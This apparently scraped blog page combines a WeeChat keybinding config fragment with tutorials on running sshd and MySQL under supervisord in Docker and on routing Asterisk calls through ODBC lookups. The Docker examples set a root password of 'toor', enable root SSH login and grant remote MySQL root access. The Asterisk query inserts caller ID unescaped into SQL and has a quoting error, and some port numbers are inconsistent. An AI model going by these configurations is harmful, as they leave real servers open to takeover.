meta-a = "/input jump_smart"  
meta-b = "/input move_previous_word"  
meta-d = "/input delete_next_word"  
meta-f = "/input move_next_word"  
meta-h = "/input hotlist_clear"  
meta-jmeta-l = "/input jump_last_buffer"  
meta-jmeta-r = "/server raw"  
meta-jmeta-s = "/server jump"  
meta-j01 = "/buffer 1"  
meta-j02 = "/buffer 2"  
meta-j03 = "/buffer 3"  
meta-j04 = "/buffer 4"  
meta-j05 = "/buffer 5"  
meta-j06 = "/buffer 6"  
meta-j07 = "/buffer 7"  
meta-j08 = "/buffer 8"  
meta-j09 = "/buffer 9"  
meta-j10 = "/buffer 10"  
meta-j11 = "/buffer 11"  
meta-j12 = "/buffer 12"  
meta-j13 = "/buffer 13"  
meta-j14 = "/buffer 14"  
meta-j15 = "/buffer 15"  
meta-j16 = "/buffer 16"  
meta-j17 = "/buffer 17"  
meta-j18 = "/buffer 18"  
meta-j19 = "/buffer 19"  
meta-j20 = "/buffer 20"  
meta-j21 = "/buffer 21"  
meta-j22 = "/buffer 22"  
meta-j23 = "/buffer 23"  
meta-j24 = "/buffer 24"  
meta-j25 = "/buffer 25"  
meta-j26 = "/buffer 26"  
meta-j27 = "/buffer 27"  
meta-j28 = "/buffer 28"  
meta-j29 = "/buffer 29"  
meta-j30 = "/buffer 30"  
meta-j31 = "/buffer 31"  
meta-j32 = "/buffer 32"  
meta-j33 = "/buffer 33"  
meta-j34 = "/buffer 34"  
meta-j35 = "/buffer 35"  
meta-j36 = "/buffer 36"  
meta-j37 = "/buffer 37"  
meta-j38 = "/buffer 38"  
meta-j39 = "/buffer 39"  
meta-j40 = "/buffer 40"  
meta-j41 = "/buffer 41"  
meta-j42 = "/buffer 42"  
meta-j43 = "/buffer 43"  
meta-j44 = "/buffer 44"  
meta-j45 = "/buffer 45"  
meta-j46 = "/buffer 46"  
meta-j47 = "/buffer 47"  
meta-j48 = "/buffer 48"  
meta-j49 = "/buffer 49"  
meta-j50 = "/buffer 50"  
meta-j51 = "/buffer 51"  
meta-j52 = "/buffer 52"  
meta-j53 = "/buffer 53"  
meta-j54 = "/buffer 54"  
meta-j55 = "/buffer 55"  
meta-j56 = "/buffer 56"  
meta-j57 = "/buffer 57"  
meta-j58 = "/buffer 58"  
meta-j59 = "/buffer 59"  
meta-j60 = "/buffer 60"  
meta-j61 = "/buffer 61"  
meta-j62 = "/buffer 62"  
meta-j63 = "/buffer 63"  
meta-j64 = "/buffer 64"  
meta-j65 = "/buffer 65"  
meta-j66 = "/buffer 66"  
meta-j67 = "/buffer 67"  
meta-j68 = "/buffer 68"  
meta-j69 = "/buffer 69"  
meta-j70 = "/buffer 70"  
meta-j71 = "/buffer 71"  
meta-j72 = "/buffer 72"  
meta-j73 = "/buffer 73"  
meta-j74 = "/buffer 74"  
meta-j75 = "/buffer 75"  
meta-j76 = "/buffer 76"  
meta-j77 = "/buffer 77"  
meta-j78 = "/buffer 78"  
meta-j79 = "/buffer 79"  
meta-j80 = "/buffer 80"  
meta-j81 = "/buffer 81"  
meta-j82 = "/buffer 82"  
meta-j83 = "/buffer 83"  
meta-j84 = "/buffer 84"  
meta-j85 = "/buffer 85"  
meta-j86 = "/buffer 86"  
meta-j87 = "/buffer 87"  
meta-j88 = "/buffer 88"  
meta-j89 = "/buffer 89"  
meta-j90 = "/buffer 90"  
meta-j91 = "/buffer 91"  
meta-j92 = "/buffer 92"  
meta-j93 = "/buffer 93"  
meta-j94 = "/buffer 94"  
meta-j95 = "/buffer 95"  
meta-j96 = "/buffer 96"  
meta-j97 = "/buffer 97"  
meta-j98 = "/buffer 98"  
meta-j99 = "/buffer 99"  
meta-k = "/input grab_key_command"  
meta-m = "/mute mouse toggle"  
meta-n = "/window scroll_next_highlight"  
meta-p = "/window scroll_previous_highlight"  
meta-r = "/input delete_line"  
meta-s = "/mute aspell toggle"  
meta-u = "/window scroll_unread"  
meta-wmeta-meta2-A = "/window up"  
meta-wmeta-meta2-B = "/window down"  
meta-wmeta-meta2-C = "/window right"  
meta-wmeta-meta2-D = "/window left"  
meta-wmeta2-1;3A = "/window up"  
meta-wmeta2-1;3B = "/window down"  
meta-wmeta2-1;3C = "/window right"  
meta-wmeta2-1;3D = "/window left"  
meta-wmeta-b = "/window balance"  
meta-wmeta-s = "/window swap"  
meta-x = "/input zoom_merged_buffer"  
meta-z = "/window zoom"  
ctrl-_ = "/input undo"

[key_search]
ctrl-I = "/input search_switch_where"  
ctrl-J = "/input search_stop"  
ctrl-M = "/input search_stop"  
ctrl-R = "/input search_switch_regex"  
meta2-A = "/input search_previous"  
meta2-B = "/input search_next"  
meta-c = "/input search_switch_case"

[key_cursor]
ctrl-J = "/cursor stop"  
ctrl-M = "/cursor stop"  
meta-meta2-A = "/cursor move area_up"  
meta-meta2-B = "/cursor move area_down"  
meta-meta2-C = "/cursor move area_right"  
meta-meta2-D = "/cursor move area_left"  
meta2-1;3A = "/cursor move area_up"  
meta2-1;3B = "/cursor move area_down"  
meta2-1;3C = "/cursor move area_right"  
meta2-1;3D = "/cursor move area_left"  
meta2-A = "/cursor move up"  
meta2-B = "/cursor move down"  
meta2-C = "/cursor move right"  
meta2-D = "/cursor move left"  
@item(buffer_nicklist):K = "/window ${_window_number};/kickban ${nick}"
@item(buffer_nicklist):b = "/window ${_window_number};/ban ${nick}"
@item(buffer_nicklist):k = "/window ${_window_number};/kick ${nick}"
@item(buffer_nicklist):q = "/window ${_window_number};/query ${nick};/cursor stop"
@item(buffer_nicklist):w = "/window ${_window_number};/whois ${nick}"
@chat:Q = "hsignal:chat_quote_time_prefix_message;/cursor stop"
@chat:m = "hsignal:chat_quote_message;/cursor stop"
@chat:q = "hsignal:chat_quote_prefix_message;/cursor stop"

[key_mouse]
@bar(input):button2 = "/input grab_mouse_area"
@bar(nicklist):button1-gesture-down = "/bar scroll nicklist ${_window_number} +100%"
@bar(nicklist):button1-gesture-down-long = "/bar scroll nicklist ${_window_number} e"
@bar(nicklist):button1-gesture-up = "/bar scroll nicklist ${_window_number} -100%"
@bar(nicklist):button1-gesture-up-long = "/bar scroll nicklist ${_window_number} b"
@chat(script.scripts):button1 = "/window ${_window_number};/script go ${_chat_line_y}"
@chat(script.scripts):button2 = "/window ${_window_number};/script go ${_chat_line_y};/script installremove -q ${script_name_with_extension}"
@chat(script.scripts):wheeldown = "/script down 5"
@chat(script.scripts):wheelup = "/script up 5"
@item(buffer_nicklist):button1 = "/window ${_window_number};/query ${nick}"
@item(buffer_nicklist):button1-gesture-left = "/window ${_window_number};/kick ${nick}"
@item(buffer_nicklist):button1-gesture-left-long = "/window ${_window_number};/kickban ${nick}"
@item(buffer_nicklist):button2 = "/window ${_window_number};/whois ${nick}"
@item(buffer_nicklist):button2-gesture-left = "/window ${_window_number};/ban ${nick}"
@bar:wheeldown = "/bar scroll ${_bar_name} ${_window_number} +20%"
@bar:wheelup = "/bar scroll ${_bar_name} ${_window_number} -20%"
@chat:button1 = "/window ${_window_number}"
@chat:button1-gesture-left = "/window ${_window_number};/buffer -1"
@chat:button1-gesture-left-long = "/window ${_window_number};/buffer 1"
@chat:button1-gesture-right = "/window ${_window_number};/buffer +1"
@chat:button1-gesture-right-long = "/window ${_window_number};/input jump_last_buffer"
@chat:ctrl-wheeldown = "/window scroll_horiz -window ${_window_number} +10%"
@chat:ctrl-wheelup = "/window scroll_horiz -window ${_window_number} -10%"
@chat:wheeldown = "/window scroll_down -window ${_window_number}"
@chat:wheelup = "/window scroll_up -window ${_window_number}"
@*:button3 = "/cursor go ${_x},${_y}"

But sometimes needed to run daemons (such as sshd or nginx). And there is some problems begin, because in ideology of Docker when process is finished, the container will stop. This is good for single application, we run some code, see results and container stops.
So, is there a solution? Yes, and the answer is supervisord.

It's a python-based tool for controlling processes (including restarting on crash and much more).

In a nutshell is something like init for our container, supervisor has well-documented manual for config files.

Ok, it's a game time!

I'm using Gentoo (3.16.2 kernel) and Docker 1.2.0 in this example

Let's create container for sshd service, and build it using docker build command:

create temporary directory, and write config files here

[sloun@heaven ~ ] cd $(mktemp -d)

in Dockerfile I'll specify what packages needed to install, and what directories needed to create for sshd

[sloun@heaven /tmp/tmp.Fvl9y73yhl ] cat Dockerfile
# vim: set syntax=dockerfile:
#sshd template
FROM debian:stable  
MAINTAINER sloun@roundside  
RUN apt-get update && apt-get -y upgrade \  
&& apt-get -y install openssh-server supervisor \
&& echo 'root:toor' | chpasswd \
&& sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/' /etc/ssh/sshd_config\
&& mkdir /var/run/supervisor && mkdir /var/run/sshd 
#supervisord config
COPY supervisord.conf /etc/supervisor/conf.d/supervisord.conf  
EXPOSE 22  
CMD ["/usr/bin/supervisord"]

Now in detail:

• use debian stable (wheezy so far) template
• specify maintainer for template
• update & upgrade packages to latest versions
• set 'toor' as root password
• if root login is not allowed, fix it using sed
• copy supervisord.conf to /etc/supervisor/conf.d/
• expose 22 port (more about it below)
• run supervisord

The reason to use expose is to make this port available in a container immediately. If not expose port, sshd also will be available, but it will take some time (up to minute!). Read more about this here.

Now, create config file for supervisor (supervisord.conf), simple config for sshd looks like this:

[supervisord]
nodaemon=true

[program:sshd]
command=/usr/sbin/sshd -D  

Ok. We have Dockerfile and supervisord.conf in directory:

[sloun@heaven /tmp/tmp.Fvl9y73yhl ] l
total 8  
-rw-r--r-- 1 sloun sloun 706 Nov 18 03:36 Dockerfile
-rw-r--r-- 1 sloun sloun 166 Nov 18 03:14 supervisord.conf

Time for creating container:

[sloun@heaven /tmp/tmp.Fvl9y73yhl ] docker build -t debian:sshd .

about tag

-t is a tag option to specify local repository for this container

That's all. Start container and expose local port to it:

[sloun@heaven /tmp/tmp.Fvl9y73yhl ] docker run -d -p 127.0.0.1:1030:22 debian:sshd

Sshd now available at 127.1:1030

Mysqld and sshd in one container

Run mysql in that way is also very easy. But there are some pitfalls:

• mysqld run on loopback
• no users by default
• remote root login is forbidden

So, my easiest Dockerfile looks like this:

# vim: set syntax=dockerfile:
#sshd-mysqld template
FROM debian:stable  
MAINTAINER sloun@roundside  
RUN apt-get update && apt-get -y upgrade \  
&& apt-get -y install openssh-server mysql-server supervisor \
&& echo 'root:toor' | chpasswd \
&& sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/' /etc/ssh/sshd_config \
&& sed -i 's/bind-address.\+/bind-address=0.0.0.0/' /etc/mysql/my.cnf \
&& mkdir /var/run/supervisor && mkdir /var/run/sshd
#supervisord config
COPY ./supervisord.conf /etc/supervisor/conf.d/supervisord.conf  
#ports
EXPOSE 22  
EXPOSE 3306  
#stuff for mysql
COPY ./mysql.sh /opt/mysql.sh  
#run supervisord
CMD ["/usr/bin/supervisord"]  

• First, bind mysqld on all available interfaces using sed
• expose mysqld port
• add little shell scipt (mysql.sh, must be executable) for adding remote root login

mysql.sh:

#!/usr/bin/env bash
echo "GRANT ALL ON *.* TO root@'%' IDENTIFIED BY 'toor' WITH GRANT OPTION; FLUSH PRIVILEGES" | mysql  

And updated supervisord.conf:

[supervisord]
nodaemon=true

[program:sshd]
command=/usr/sbin/sshd -D

[program:mysqld]
command=/usr/bin/mysqld_safe

[program:mysql-configure]
command=/opt/mysql.sh

Build and run.

[sloun@heaven /tmp/tmp.Fvl9y73yhl ] docker build -t debian:sshd_mysqld .

[sloun@heaven /tmp/tmp.Fvl9y73yhl ] docker run -d -p 127.0.0.1:1040:22 -p 127.0.0.1:1041:3306 debian:sshd_mysqld

Look in docker ps:

[sloun@heaven /tmp/tmp.Fvl9y73yhl ] docker ps
CONTAINER ID        IMAGE               COMMAND                CREATED             STATUS              PORTS                                              NAMES  
9e197bc92b64        debian:sshd_mysqld    "/usr/bin/supervisor   30 minutes ago      Up 30 minutes       127.0.0.1:1040->22/tcp, 127.0.0.1:1041->3306/tcp   insane_franklin  

Now, mysql root login is available at 127.1:4041, and ssh on :4040.

Also, linking containers together is also cool for this!

Thanks to http://txt.fliglio.com/2013/11/creating-a-mysql-docker-container/

I think it's very useful when some specific calls going to some specific peer (i.e. manager/support team department).
For example, when your friend Alice calls to your bungalow-office, only your phone (pc/laptop) should ring.
That's not so hard with asterisk and you favorite DB (I'll try with mysql).
So, all we need is:

• Asterisk
• [you favorite] *nix distro
• unixodbc
• libmyodbc - for mysql
• odbc-postgresql - for postgresql
• brain

Odbc (Open Database Connectivity) is something like high-level api for relational db's. Maybe it's little bit old, but it's just works (c)

Besides, there are Asterisk mysql-addon for direct mysql connection (with limited functionality) but odbc is much powerful and flexible.

Ok. After odbc stuff is installed it's time to configure connection parameters:

Odbc part:

In
/etc/odbc.ini stored DB's credentials and connection options:
(Note: you may specify credentials and options in res_odbc.conf, especially if you have multiple databases and want to keep all in one place)

[asterisk_server_db]
Driver       = MySQL  
Description  = MySQL ODBC 3.51 Driver DSN  
Server       = 127.1  
Port         = 3306  
User         = justin  
Password     = nobodyknowsmypassword  
Database     = bieber  
Option       = 3  
Socket       =  

In
/etc/odbcinst.ini
must be libraries location (depends of distro)

[MySQL]
Description     = MySQL driver  
Driver          = libmyodbc.so  
Setup           = libodbcmyS.so  
CPTimeout       =  
CPReuse         =

Check connection to database:

[root@some:~] isql bieber

if you see this

+---------------------------------------+
| Connected!                            |
|                                       |
| sql-statement                         |
| help [tablename]                      |
| quit                                  |
|                                       |
+---------------------------------------+
SQL>  

than all is fine (try to make some requests to DB too), time to configure connection from Asterisk.

Asterisk part:

Set database(s) for Asterisk odbc resources:
/etc/asterisk/res_odbc.conf

[asterisk_db]
enabled=>yes  
dsn=>asterisk_server_db  
pooling=>no  
pre-connect=>yes

dsn

is the database specified in /etc/odbc.ini

pre-connect

is recommended for reduce requests time

also, connection credentials can be specified in this file, instead /etc/odbc.ini

Now, it's time to set functions that we will later call from dialplan:
/etc/asterisk/func_odbc.conf

[MANAGER_STATE]
prefix=check  
dsn=asterisk_db  
readsql = SELECT `users` FROM `all` WHERE `TEL` LIKE REPLACE('${ARG1}', '+1 '') LIMIT 1

prefix

is optional, but it's good for human-friendly marking. Using this prefix our function will look like check_MANAGER_STATE instead ODBC_MANAGER_STATE

dsn

is the resource from res_odbc.conf

and

readsql

is one of two operation modes (another are write)

Now time for play with dialplan:

exten => 106,1,Set(Check_manager=${check_MANAGER_STATE(${CALLERID(num)})})  
exten => 106,n,Set(DialTarget=${IF($[${LEN(${Check_manager})} != 0]?Sip/${Check_manager}:${DIALALL})})  
exten => 106,n,Dial(${DialTarget})  
exten => 106,n,Playback(${NBAV})  
exten => 106,n,Hangup()  

Suppose, our number is 106 (Alice number is +10XXXXXXXXXXXXXX), before AppDial will run, Asterisk function make request to table all and search for CID in column TEL (LIKE REPLACE removes +1 code if exist).

+--------------------------------------------------------------+
| users  | TEL                                
+--------------------------------------------------------------+
| 106    | 0XXXXXXXXXXXXXX
+--------------------------------------------------------------+

And if there are user from users column with corresponding CID from TEL column, user saved in Check_manager variable and then call going to this user.
We have also check that user was found:

106,n,Set(DialTarget=${IF($[${LEN(${Check_manager})} != 0]?Sip/${Check_manager}:${DIALALL})})  

If no user was found, ${LEN(${Check_manager})} (length of variable) returns zero and DialTarget takes DIALALL value (call to all available peers, for example).

Sure, this is extra basic example. The are a lot of space for ideas about Asterisk interactivity and much more.